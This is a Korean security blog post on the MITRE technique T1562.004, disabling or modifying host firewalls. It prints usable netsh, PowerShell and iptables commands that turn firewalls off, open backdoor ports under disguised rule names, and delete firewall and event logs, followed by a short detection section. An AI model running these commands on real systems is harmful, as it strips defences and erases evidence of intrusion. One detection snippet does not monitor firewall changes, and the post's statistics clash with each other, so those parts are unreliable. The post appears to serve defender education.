COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
17개 APT 그룹이 방화벽을 끄는 데 쓰는 명령어는 단 1줄이다. netsh, iptables, Set-NetFirewallProfile 실제 코드와 탐지법.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
2024년 MITRE ATT&CK 데이터베이스에 따르면, T1562.004 기법을 사용하는 APT 그룹은 120개 이상에 달한다. 이들이 공통적으로 사용하는 첫 번째 침투 단계가 바로 시스템 방화벽을 무력화하는 것이다.
방화벽이 있던 시절 이전을 상상해보자. 1990년대 초반, 인터넷에 연결된 모든 컴퓨터는 문이 열린 집과 같았다. 누구든 원하는 포트로 접속할 수 있었고, 모든 서비스가 외부에 노출되어 있었다. 하지만 방화벽이 등장한 후, 공격자들은 새로운 문제에 직면했다. 아무리 시스템을 침투해도 외부 서버와 통신하거나 내부 네트워크로 이동하는 것이 차단되는 것이다.
T1562.004 기법은 이러한 네트워크 접근 제한을 우회하기 위해 시스템 방화벽을 비활성화하거나 수정하는 공격 기법이다.
T1562.004는 공격자가 네트워크 통신 제한을 우회하기 위해 대상 시스템의 방화벽 설정을 조작하는 공격 기법이다.
Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could include disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can allow for lateral movement and/or data exfiltration. — MITRE ATT&CK T1562.004
MITRE의 공식 정의를 풀어보면, 이 기법은 단순히 방화벽을 끄는 것을 넘어서 특정 규칙을 추가하거나 수정하여 공격자의 목적에 맞게 네트워크 접근을 허용하는 것까지 포함한다.
T1562.004 기법의 핵심 구성 요소는 다음과 같다:
| 용어 | 설명 |
|---|---|
| Host-based Firewall | 역할: 개별 시스템 보호 / 차이점: Windows Defender, iptables / 공격자 활용도: 가장 많이 표적 |
| Network Firewall | 역할: 네트워크 경계 보호 / 차이점: 하드웨어 장비, 별도 관리 / 공격자 활용도: 우회 대상 |
| WAF (Web Application Firewall) | 역할: 웹 애플리케이션 보호 / 차이점: HTTP/HTTPS 트래픽 전용 / 공격자 활용도: 웹 공격 시 표적 |
| Cloud Firewall | 역할: 클라우드 환경 보호 / 차이점: AWS Security Group, Azure NSG / 공격자 활용도: 클라우드 침투 시 표적 |
| Stateful Inspection | 역할: 연결 상태 추적 / 차이점: 패킷 흐름 분석 / 공격자 활용도: 우회하기 어려움 |
T1562.004 공격의 전체 흐름은 다음과 같다. 공격자가 시스템에 초기 침투한 후, 네트워크 제한을 우회하기 위해 방화벽을 조작하는 과정이다.
Windows 시스템에서 공격자는 주로 netsh 명령어나 PowerShell을 통해 방화벽을 조작한다.
1단계: 방화벽 상태 확인
# 현재 방화벽 프로필 상태 확인
netsh advfirewall show allprofiles
# Windows Defender 방화벽 상태 확인
Get-NetFirewallProfile
2단계: 방화벽 완전 비활성화
# 모든 프로필의 방화벽 비활성화
netsh advfirewall set allprofiles state off
# PowerShell을 통한 비활성화
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
3단계: 특정 포트 허용 규칙 추가
# 특정 포트로 인바운드 연결 허용
netsh advfirewall firewall add rule name="System Update" dir=in action=allow protocol=TCP localport=4444
# 아웃바운드 연결 허용 (C2 통신용)
netsh advfirewall firewall add rule name="Windows Telemetry" dir=out action=allow protocol=TCP remoteport=443
공격자들은 규칙 이름을 "System Update"나 "Windows Telemetry" 같은 정상적인 이름으로 위장하여 관리자의 의심을 피한다.
Linux 시스템에서는 iptables, ufw, firewalld 등 다양한 방화벽 도구가 사용된다.
1단계: 방화벽 유형 식별
# 시스템에서 사용 중인 방화벽 서비스 확인
systemctl status firewalld
systemctl status ufw
iptables -L
2단계: 방화벽 서비스 중지
# firewalld 중지 및 비활성화
systemctl stop firewalld
systemctl disable firewalld
# ufw 비활성화
ufw disable
# iptables 규칙 모두 삭제
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
3단계: 허용 정책으로 변경
# 모든 트래픽 허용으로 기본 정책 변경
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
이 방법은 방화벽 서비스를 중지하지 않고도 모든 네트워크 트래픽을 허용하게 만든다. 관리자가 방화벽 서비스 상태만 확인한다면 정상 작동하는 것처럼 보인다.
공격자들이 사용하는 고급 기법 중 하나는 기존 규칙을 완전히 삭제하지 않고 미묘하게 수정하는 것이다.
정상 규칙을 악용한 포트 허용
# SSH(22번) 포트를 허용하되 비표준 포트로 설정
netsh advfirewall firewall add rule name="SSH Management" dir=in action=allow protocol=TCP localport=2222
# RDP를 허용하되 다른 포트 사용
netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389
이런 방식으로 공격자는 정당한 서비스 이름을 사용하면서도 자신만의 백도어 포트를 열어둘 수 있다.
IP 주소 화이트리스트 조작
# 특정 IP 대역에서만 접근 허용하는 것처럼 보이지만 실제로는 광범위한 접근 허용
iptables -A INPUT -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -s 192.168.0.0/16 -j ACCEPT
공격자가 RFC 1918 사설 IP 대역을 모두 허용하면, 내부 네트워크의 모든 시스템에서 접근할 수 있게 된다.
공격자가 T1562.004 기법을 사용하는 이유는 명확하다. 방화벽은 공격자의 세 가지 핵심 활동을 차단하기 때문이다:
BlackByte 랜섬웨어 그룹의 방화벽 무력화
2023년 BlackByte 랜섬웨어 그룹은 중요 인프라를 대상으로 한 공격에서 다음과 같은 방화벽 무력화 기법을 사용했다:
# Windows Defender 방화벽 완전 비활성화
netsh advfirewall set allprofiles state off
# 백업 서버 접근을 위한 SMB 포트 허용
netsh advfirewall firewall add rule name="File Sharing" dir=in action=allow protocol=TCP localport=445
이들은 방화벽을 비활성화한 후 내부 네트워크의 백업 서버에 접근하여 백업 파일까지 암호화했다.
XMRig 암호화폐 채굴 캠페인
Docker와 Kubernetes 환경을 노린 XMRig 채굴 공격에서는 다음 명령어들이 사용되었다:
# 컨테이너 내부에서 호스트 방화벽 조작
iptables -F
systemctl stop firewalld
ufw disable
# 채굴 풀 연결을 위한 아웃바운드 허용
iptables -A OUTPUT -p tcp --dport 4444 -j ACCEPT
1. 기본 설정의 허점
많은 시스템에서 방화벽의 기본 설정은 보안보다 편의성에 초점을 맞춘다. 공격자들은 이런 허점을 악용한다:
# Windows 방화벽의 기본 예외 규칙 악용
netsh advfirewall firewall show rule name=all | findstr "File and Printer Sharing"
파일 공유 서비스가 허용되어 있다면, 공격자는 이를 통해 횡적 이동을 시도한다.
2. 관리자 권한 상승 후 즉시 방화벽 조작
# UAC 우회 후 즉시 실행되는 방화벽 비활성화 스크립트
if ((Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain) {
Set-NetFirewallProfile -Profile Domain -Enabled False
}
Set-NetFirewallProfile -Profile Public,Private -Enabled False
3. 로그 삭제를 통한 증거 인멸
# 방화벽 로그 파일 삭제
del "%systemroot%\system32\logfiles\firewall\*.log" /q
# 이벤트 로그에서 방화벽 관련 항목 삭제
wevtutil cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"
실시간 방화벽 변경 모니터링
# PowerShell을 통한 방화벽 규칙 변경 감지
Register-WmiEvent -Query "SELECT * FROM Win32_VolumeChangeEvent WHERE DriveName = 'C:'"
방화벽 설정 백업 및 복원
# iptables 규칙 백업
iptables-save > /etc/iptables/rules.backup
# 주기적인 설정 검증 스크립트
#!/bin/bash
current_rules=$(iptables-save)
backup_rules=$(cat /etc/iptables/rules.backup)
if [ "$current_rules" != "$backup_rules" ]; then
echo "방화벽 규칙이 변경되었습니다!" | mail -s "Security Alert" admin@company.com
fi
올바른 방화벽 구성 체크리스트
T1562.004는 다른 방어 무력화 기법들과 함께 사용되는 경우가 많다. EDR 우회 공격 12가지 방법: 보안 무력화 기법 | T1562.001에서 다룬 보안 도구 비활성화와 함께 사용되면, 공격자는 거의 이상적인 은신 환경을 만들 수 있다.
또한 이벤트 로그 비활성화로 APT 추적 불가능하게 만드는 T1562.002 기법과 연계하여 방화벽 변경 흔적까지 제거한다면, 사후 포렌식 조사가 극도로 어려워진다.
T1562.004 기법은 공격자가 네트워크 제한을 우회하여 자유로운 활동 환경을 구축하는 핵심 기법이다. 방화벽 설정의 미묘한 변경부터 완전한 비활성화까지, 다양한 형태로 나타날 수 있어 지속적인 모니터링과 검증이 핵심다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.